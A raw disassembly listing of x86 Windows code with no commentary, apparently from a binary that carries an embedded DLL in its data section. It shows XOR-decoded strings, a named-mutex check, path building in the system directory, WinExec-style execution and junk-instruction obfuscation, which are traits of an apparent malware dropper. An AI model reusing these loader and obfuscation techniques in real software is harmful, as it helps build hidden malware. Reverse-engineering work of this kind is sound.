		dd 1024548Bh, 3B80289h,	0C3000000h

; =============== S U B	R O U T	I N E =======================================



sub_43D5BC	proc near		; CODE XREF: .data:0043D6E4p
					; .data:0043D712p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	10001000h
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43D5D9:				; CODE XREF: sub_43D5BC+44j
					; sub_43D5BC+4Aj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43D608
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43D608
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43D5D9
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43D5D9
; ---------------------------------------------------------------------------


loc_43D608:				; CODE XREF: sub_43D5BC+2Aj
					; sub_43D5BC+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43D5BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D616	proc near		; CODE XREF: .data:0043D6D7p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	10001092h
		push	[ebp+arg_0]
		call	sub_43DCB0
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43D616	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		test	dword ptr [eax+4], 6
		jnz	loc_43D70B
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43D669:				; CODE XREF: .data:0043D702j
		cmp	esi, 0FFFFFFFFh
		jz	loc_43D71A
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43D6F9
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	ds:10004034h, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	ds:10004038h, eax
		mov	eax, [edx+4]
		mov	ds:1000403Ch, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, ds:10004040h
		mov	esi, ds:10004038h
		rep movsd
		lea	edi, ds:10004040h
		mov	ds:10004038h, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43D6F9
		js	short loc_43D707
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43D616
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43D5BC
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43D6F9:				; CODE XREF: .data:0043D67Aj
					; .data:0043D6CFj
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43D669
; ---------------------------------------------------------------------------


loc_43D707:				; CODE XREF: .data:0043D6D1j
		xor	eax, eax
		jmp	short loc_43D724
; ---------------------------------------------------------------------------


loc_43D70B:				; CODE XREF: .data:0043D64Ej
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43D5BC
		add	esp, 0Ch


loc_43D71A:				; CODE XREF: .data:0043D66Cj
		push	0Bh
		call	sub_43DD1C
		add	esp, 4


loc_43D724:				; CODE XREF: .data:0043D709j
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cmp	dword ptr [ebp+0Ch], 1
		jnz	short loc_43D73D
		call	sub_43D760


loc_43D73D:				; CODE XREF: .data:0043D736j
		call	sub_43DC0F
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		mov	eax, ds:10004000h
		call	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0B8h, 1, 0
		dd 0F2EB0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D760	proc near		; CODE XREF: .data:0043D738p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	edi
		push	0
		push	0FFFFFFF6h
		call	sub_43DCD4
		mov	[ebp+var_8], eax
		push	0
		push	0FFFFFFF5h
		call	sub_43DCD4
		mov	[ebp+var_4], eax
		push	0
		push	0FFFFFFF4h
		call	sub_43DCD4
		mov	[ebp+var_C], eax
		push	1000401Eh
		push	[ebp+var_8]
		call	sub_43DCC8
		mov	ds:10004008h, eax
		push	1000401Ch
		push	[ebp+var_4]
		call	sub_43DCC8
		mov	ds:10004004h, eax
		push	1000401Ch
		push	[ebp+var_C]
		call	sub_43DCC8
		add	esp, 30h
		mov	ds:1000400Ch, eax
		mov	edi, ds:10004004h
		or	edi, edi
		jz	short loc_43D7D9
		push	0
		push	edi
		call	sub_43DD28
		add	esp, 8


loc_43D7D9:				; CODE XREF: sub_43D760+6Cj
		mov	edi, ds:1000400Ch
		or	edi, edi
		jz	short loc_43D7F3
		push	0
		push	edi
		call	sub_43DD28
		add	esp, 8
		call	sub_43D7F8


loc_43D7F3:				; CODE XREF: sub_43D760+81j
		pop	edi
		leave
		retn
sub_43D760	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D7F8	proc near		; CODE XREF: sub_43D760+8Ep

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_C], 0
		call	sub_43DC44
		mov	ebx, eax
		mov	[ebp+var_10], ebx
		jmp	short loc_43D835
; ---------------------------------------------------------------------------


loc_43D814:				; CODE XREF: sub_43D7F8+45j
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43D821
		inc	[ebp+var_C]


loc_43D821:				; CODE XREF: sub_43D7F8+24j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		lea	ebx, [ebx+edi]


loc_43D835:				; CODE XREF: sub_43D7F8+1Aj
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43D814
		mov	edi, [ebp+var_C]
		inc	edi
		lea	edi, ds:0[edi*4]
		mov	[ebp+var_14], edi
		push	[ebp+var_14]
		call	sub_43DCF8
		pop	ecx
		mov	[ebp+var_8], eax
		mov	ds:10004010h, eax
		cmp	[ebp+var_8], 0
		jnz	short loc_43D868
		xor	eax, eax
		jmp	short loc_43D8DE
; ---------------------------------------------------------------------------


loc_43D868:				; CODE XREF: sub_43D7F8+6Aj
		mov	ebx, [ebp+var_10]
		jmp	short loc_43D8C1
; ---------------------------------------------------------------------------


loc_43D86D:				; CODE XREF: sub_43D7F8+D1j
		mov	edi, ebx
		xor	eax, eax
		stc
		sbb	ecx, ecx
		repne scasb
		neg	ecx
		lea	eax, [ecx-2]
		mov	edi, eax
		inc	edi
		mov	[ebp+var_4], edi
		cmp	byte ptr ds:0[ebx], 3Dh
		jz	short loc_43D8BB
		push	[ebp+var_4]
		call	sub_43DCF8
		pop	ecx
		mov	esi, [ebp+var_8]
		mov	ds:0[esi], eax
		or	eax, eax
		jnz	short loc_43D8A4
		jmp	short loc_43D8DE
; ---------------------------------------------------------------------------


loc_43D8A4:				; CODE XREF: sub_43D7F8+A8j
		push	ebx
		mov	edi, [ebp+var_8]
		push	dword ptr ds:0[edi]
		call	sub_43DD4C
		add	esp, 8
		add	[ebp+var_8], 4


loc_43D8BB:				; CODE XREF: sub_43D7F8+91j
		mov	edx, [ebp+var_4]
		lea	ebx, [ebx+edx]


loc_43D8C1:				; CODE XREF: sub_43D7F8+73j
		cmp	byte ptr ds:0[ebx], 0
		jnz	short loc_43D86D
		mov	edx, [ebp+var_8]
		mov	dword ptr ds:0[edx], 0
		mov	eax, 1


loc_43D8DE:				; CODE XREF: sub_43D7F8+6Ej
					; sub_43D7F8+AAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D7F8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D8E4	proc near		; CODE XREF: sub_43D98E+22p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 181h
		push	esi
		push	[ebp+arg_0]
		mov	eax, ds:10004098h
		lea	eax, ds:10002000h[eax]
		push	eax
		call	sub_43DD04
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_43D92D
; ---------------------------------------------------------------------------


loc_43D913:				; CODE XREF: sub_43D8E4+4Bj
		mov	eax, ds:10004098h
		add	eax, edi
		lea	eax, ds:10002000h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 0D9h
		mov	[eax], dl
		inc	edi


loc_43D92D:				; CODE XREF: sub_43D8E4+2Dj
		cmp	edi, esi
		jl	short loc_43D913
		mov	[ebp+var_8], 389h
		mov	eax, ds:10004098h
		add	eax, esi
		mov	byte ptr ds:10002000h[eax], 0
		xor	edi, edi
		mov	edi, ds:10004098h
		add	dword ptr ds:10004098h,	3
		mov	eax, ds:10004098h
		lea	eax, [eax+esi+4]
		mov	ds:10004098h, eax
		inc	dword ptr ds:10004098h
		cmp	dword ptr ds:10004098h,	0DB6h
		jle	short loc_43D97D
		and	dword ptr ds:10004098h,	0


loc_43D97D:				; CODE XREF: sub_43D8E4+90j
		mov	[ebp+var_C], 9Ch
		lea	eax, [edi+10002000h]
		pop	edi
		pop	esi
		leave
		retn
sub_43D8E4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D98E	proc near		; CODE XREF: .data:0043DB27p

var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		lea	edi, [ebp+var_5]
		lea	esi, ds:1000409Ch
		xor	ecx, ecx
		inc	ecx
		rep movsb
		call	sub_43DC80
		push	5
		push	100040BDh
		call	sub_43D8E4
		add	esp, 8
		push	eax
		push	0
		push	1F0001h
		call	sub_43DCA4
		mov	[ebp+var_4], eax
		or	eax, eax
		jz	short loc_43D9E9
		mov	[ebp+var_C], 4FA1h
		inc	[ebp+var_C]
		push	eax
		call	sub_43DC5C
		mov	[ebp+var_E], 6C6Dh
		inc	[ebp+var_E]
		xor	eax, eax
		inc	eax


loc_43D9E9:				; CODE XREF: sub_43D98E+3Cj
		pop	edi
		pop	esi
		leave
		retn
sub_43D98E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D9ED	proc near		; CODE XREF: .data:0043DB5Bp

var_10A		= byte ptr -10Ah
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		call	sub_43DC38
		call	sub_43DC68
		mov	ecx, edi
		or	eax, 0FFFFFFFFh


loc_43DA0B:				; CODE XREF: sub_43D9ED+23j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43DA0B
		mov	ebx, eax
		mov	[ebp+var_6], bx
		mov	ax, [ebp+var_6]
		mov	[ebp+var_2], ax
		jmp	short loc_43DA40
; ---------------------------------------------------------------------------


loc_43DA22:				; CODE XREF: sub_43D9ED+59j
		movzx	eax, [ebp+var_2]
		cmp	byte ptr [edi+eax], 5Ch
		jnz	short loc_43DA3C
		call	sub_43DC2C
		inc	[ebp+var_2]
		call	sub_43DC80
		jmp	short loc_43DA48
; ---------------------------------------------------------------------------


loc_43DA3C:				; CODE XREF: sub_43D9ED+3Dj
		dec	[ebp+var_2]


loc_43DA40:				; CODE XREF: sub_43D9ED+33j
		movzx	eax, [ebp+var_2]
		or	eax, eax
		jg	short loc_43DA22


loc_43DA48:				; CODE XREF: sub_43D9ED+4Dj
		mov	ax, [ebp+var_2]
		cmp	ax, [ebp+var_6]
		jnb	short loc_43DA86
		mov	[ebp+var_4], 0
		jmp	short loc_43DA74
; ---------------------------------------------------------------------------


loc_43DA5A:				; CODE XREF: sub_43D9ED+97j
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_2]
		mov	ecx, eax
		add	ecx, edx
		mov	dl, [edi+ecx]
		mov	[ebp+eax+var_10A], dl
		inc	[ebp+var_4]


loc_43DA74:				; CODE XREF: sub_43D9ED+6Bj
		movzx	eax, [ebp+var_4]
		movzx	edx, [ebp+var_6]
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jle	short loc_43DA5A


loc_43DA86:				; CODE XREF: sub_43D9ED+63j
		mov	esi, 6BBCh
		add	esi, 7D41h
		lea	eax, [ebp+var_10A]
		push	eax
		call	sub_43DC98
		call	sub_43DC8C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D9ED	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43DAA7	proc near		; CODE XREF: .data:0043DBAEp

var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		call	sub_43DC38
		push	100040BBh
		push	[ebp+arg_0]
		call	sub_43DD40
		add	esp, 8
		lea	edi, [ebp+var_8]
		lea	esi, ds:1000409Dh
		movsd
		movsd
		pop	edi
		pop	esi
		leave
		retn
sub_43DAA7	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 21Ch
		push	esi
		push	edi
		mov	ax, ds:100040A5h
		mov	[ebp-217h], ax
		mov	eax, ds:10004094h
		add	eax, 698h
		push	eax
		call	sub_43DD34
		mov	byte ptr [ebp-100h], 84h
		sub	byte ptr [ebp-100h], 68h
		mov	eax, ds:10004090h
		mov	edx, eax
		add	edx, 5
		push	edx
		mov	edx, 0Fh
		sub	edx, ds:10004094h
		push	edx
		mov	edx, 4
		sub	edx, eax
		push	edx
		call	sub_43D98E
		add	esp, 10h
		or	eax, eax
		jz	short loc_43DB3B
		xor	eax, eax
		inc	eax
		jmp	loc_43DBE4
; ---------------------------------------------------------------------------


loc_43DB3B:				; CODE XREF: .data:0043DB31j
		push	104h
		lea	eax, [ebp-205h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_43DC50
		call	sub_43DC38
		lea	eax, [ebp-205h]
		push	eax
		call	sub_43D9ED
		mov	byte ptr [ebp-101h], 1Bh
		add	byte ptr [ebp-101h], 1
		lea	edi, [ebp-215h]
		lea	esi, ds:100040A7h
		mov	ecx, 4
		rep movsd
		push	0FFh
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DC74
		mov	eax, ds:100040B7h
		mov	[ebp-21Bh], eax
		call	sub_43DC38
		call	sub_43DC2C
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DAA7
		call	sub_43DC80
		lea	eax, [ebp-215h]
		push	eax
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DD40
		add	esp, 10h
		push	1
		lea	eax, [ebp-0FFh]
		push	eax
		call	sub_43DCBC
		call	sub_43DC68
		xor	eax, eax
		inc	eax


loc_43DBE4:				; CODE XREF: .data:0043DB36j
		pop	edi
		pop	esi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		dd 243CD950h, 0F24048Bh, 82434BAh, 240C8166h
		db 0, 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC0F


loc_43DBFE:				; CODE XREF: sub_43DC0F+Dj
		fldcw	word ptr [esp+4+var_4]
		pop	ecx
		mov	al, ah
		and	eax, 3
		retn
; END OF FUNCTION CHUNK	FOR sub_43DC0F
; ---------------------------------------------------------------------------
		dd 243CD950h
		db 58h,	0EBh, 0F3h

; =============== S U B	R O U T	I N E =======================================



sub_43DC0F	proc near		; CODE XREF: .data:loc_43D73Dp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043DBFE SIZE 0000000A BYTES

		push	eax
		fnstcw	word ptr [esp+4+var_4]
		mov	eax, [esp+4+var_4]
		or	word ptr [esp+4+var_4],	300h
		jmp	short loc_43DBFE
sub_43DC0F	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 50E825FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC2C	proc near		; CODE XREF: sub_43D9ED+3Fp
					; .data:0043DBA2p
		jmp	dword ptr ds:100050ECh
sub_43DC2C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC38	proc near		; CODE XREF: sub_43D9ED+Fp
					; sub_43DAA7+7p ...
		jmp	dword ptr ds:100050F0h
sub_43DC38	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC44	proc near		; CODE XREF: sub_43D7F8+10p
		jmp	dword ptr ds:100050F4h
sub_43DC44	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC50	proc near		; CODE XREF: .data:0043DB4Ap
		jmp	dword ptr ds:100050F8h
sub_43DC50	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC5C	proc near		; CODE XREF: sub_43D98E+49p
		jmp	dword ptr ds:100050FCh
sub_43DC5C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC68	proc near		; CODE XREF: sub_43D9ED+14p
					; .data:0043DBDCp
		jmp	dword ptr ds:10005100h
sub_43DC68	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC74	proc near		; CODE XREF: .data:0043DB8Dp
		jmp	dword ptr ds:10005104h
sub_43DC74	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC80	proc near		; CODE XREF: sub_43D98E+16p
					; sub_43D9ED+48p ...
		jmp	dword ptr ds:10005108h
sub_43DC80	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC8C	proc near		; CODE XREF: sub_43D9ED+B0p
		jmp	dword ptr ds:1000510Ch
sub_43DC8C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DC98	proc near		; CODE XREF: sub_43D9ED+ABp
		jmp	dword ptr ds:10005110h
sub_43DC98	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCA4	proc near		; CODE XREF: sub_43D98E+32p
		jmp	dword ptr ds:10005114h
sub_43DCA4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCB0	proc near		; CODE XREF: sub_43D616+13p
		jmp	dword ptr ds:10005118h
sub_43DCB0	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCBC	proc near		; CODE XREF: .data:0043DBD7p
		jmp	dword ptr ds:1000511Ch
sub_43DCBC	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCC8	proc near		; CODE XREF: sub_43D760+33p
					; sub_43D760+45p ...
		jmp	dword ptr ds:10005128h
sub_43DCC8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCD4	proc near		; CODE XREF: sub_43D760+Bp
					; sub_43D760+17p ...
		jmp	dword ptr ds:1000512Ch
sub_43DCD4	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h
		dd 513025FFh, 90901000h, 0
		dd 513425FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DCF8	proc near		; CODE XREF: sub_43D7F8+58p
					; sub_43D7F8+96p
		jmp	dword ptr ds:10005138h
sub_43DCF8	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD04	proc near		; CODE XREF: sub_43D8E4+23p
		jmp	dword ptr ds:1000513Ch
sub_43DD04	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h
		dd 514025FFh, 90901000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD1C	proc near		; CODE XREF: .data:0043D71Cp
		jmp	dword ptr ds:10005144h
sub_43DD1C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 8

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD28	proc near		; CODE XREF: sub_43D760+71p
					; sub_43D760+86p
		jmp	dword ptr ds:10005148h
sub_43DD28	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD34	proc near		; CODE XREF: .data:0043DAF5p
		jmp	dword ptr ds:1000514Ch
sub_43DD34	endp

; ---------------------------------------------------------------------------
		dw 9090h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD40	proc near		; CODE XREF: sub_43DAA7+14p
					; .data:0043DBC6p
		jmp	dword ptr ds:10005150h
sub_43DD40	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_43DD4C	proc near		; CODE XREF: sub_43D7F8+B7p
		jmp	dword ptr ds:10005154h
sub_43DD4C	endp

; ---------------------------------------------------------------------------
		dw 9090h
		dd 14h dup(0)
		dd 2 dup(1), 7Ch dup(0)
		dd 10001536h, 5	dup(0)
		dd 7325h, 720077h, 1Ch dup(0)
		dd 2, 0Ch, 0
		dd 3B4E2A00h, 734D3E5Ah
		db 0, 4Bh, 0
aOcndfb32	db 'Ocndfb32',0         ; DATA XREF: sub_403BE7+283o
aJklmno		db 'jklmno',0
aAy_0		db 'Ay&',0
		db '\',0
aTtii		db '’’ˆë»',0
		align 10h
		dd 4Fh dup(0)
		dd 5070h, 2 dup(0)
		dd 52F8h, 50E8h, 50B0h,	2 dup(0)
		dd 5340h, 5128h, 12h dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 2 dup(0)
		dd 515Ch, 516Ch, 5184h,	519Ch, 51B8h, 51D0h, 51E0h, 51F4h
		dd 520Ch, 521Ch, 522Ch,	5240h, 5250h, 525Ch, 2 dup(0)
		dd 5268h, 5274h, 5288h,	5294h, 52A0h, 52ACh, 52B8h, 52C4h
		dd 52CCh, 52D8h, 52E0h,	52ECh, 0
		dd 78450081h, 72507469h, 7365636Fh, 73h, 654700DEh, 72754374h
		dd 746E6572h, 636F7250h, 49737365h, 64h, 654700E0h, 72754374h
		dd 746E6572h, 65726854h, 64496461h, 0
		dd 654700EDh, 766E4574h, 6E6F7269h, 746E656Dh, 69727453h
		dd 4173676Eh, 0
		dd 6547010Ah, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h
		dd 0
		dd 6C43001Bh, 4865736Fh, 6C646E61h, 65h, 65470124h, 6F725074h
		dd 73736563h, 70616548h, 0
		dd 6547013Fh, 73795374h, 446D6574h, 63657269h, 79726F74h
		dd 41h,	65470155h, 63695474h, 756F436Bh, 746Eh,	6547015Ch
		dd 72655674h, 6E6F6973h, 0
		dd 6C470168h, 6C61626Fh, 41646441h, 416D6F74h, 0
		dd 704F01D2h, 754D6E65h, 41786574h, 0
		dd 7452020Eh, 776E556Ch, 646E69h, 69570298h, 6578456Eh
		dd 63h,	665F0080h, 65706F64h, 6Eh, 6F5F014Fh, 5F6E6570h
		dd 6866736Fh, 6C646E61h, 65h, 6366020Dh, 65736F6Ch, 0
		dd 635F0039h, 74697865h, 0
		dd 616D024Eh, 636F6C6Ch, 0
		dd 656D0254h, 7970636Dh, 0
		dd 7270025Bh, 66746E69h, 0
		dd 61720260h, 657369h, 65730267h, 66756274h, 0
		dd 7273026Fh, 646E61h, 74730271h, 74616372h, 0
		dd 74730275h, 79706372h, 0
aKernel32_dll_0	db 'KERNEL32.DLL',0
		align 4
		dd 0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch	dup(10005014h)
		dd 22h dup(0)
		dd 20h,	0
		dd 20h,	1000h, 1800h, 2000h, 2C00h, 78h	dup(0)
		dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh,	311B3113h
		dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah
		dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h
		dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch
		dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh
		dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h
		dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah
		dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h
		dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h
		dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch
		dd 33783374h, 4Ah dup(0)
aB_1		db 0Ah
		db 'µ|B',0
		align 4
aP		db '(p',0
		align 4
		dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h
		dd 703Ch, 0
a_libmain@12	db '_LibMain@12',0
		dd 6Eh dup(0)
		db 0
byte_43EB9D	db 4Dh,	5Ah, 90h	; DATA XREF: sub_403A5F+CCo
		dd 300h, 400h, 0FFFF00h, 0B800h, 0
		dd 4000h, 8 dup(0)
		dd 8000h, 0BA1F0E00h, 9B4000Eh,	1B821CDh, 5421CD4Ch, 20736968h
		dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
		dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
		dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0
		dd 0E00E000h, 2010B01h,	1A0037h, 180000h, 20000h, 121900h
		dd 100000h, 300000h, 40000000h,	100000h, 20000h, 100h
		dd 0
		dd 400h, 0
		dd 600000h, 40000h, 0
		dd 200h, 10000000h, 100000h, 10000000h,	100000h, 0
		dd 1000h, 2 dup(0)
		dd 500000h, 97000h, 1Ch	dup(0)
		dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h,	40000h
		dd 3 dup(0)
		dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0)
		dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h
		dd 1E0000h, 3 dup(0)
		dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h
		dd 2C0000h, 3 dup(0)
		dd 6000h, 0C0h,	79h dup(0)
		dd 40C03100h, 4244C8Bh,	60441F7h, 74000000h, 24448B0Fh
		dd 24548B08h, 0B8028910h, 3
		db 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_43EFBD	proc near		; CODE XREF: .data:0043F0F5p
					; .data:0043F123p

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_401000
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_43EFDA:				; CODE XREF: sub_43EFBD+44j
					; sub_43EFBD+4Aj
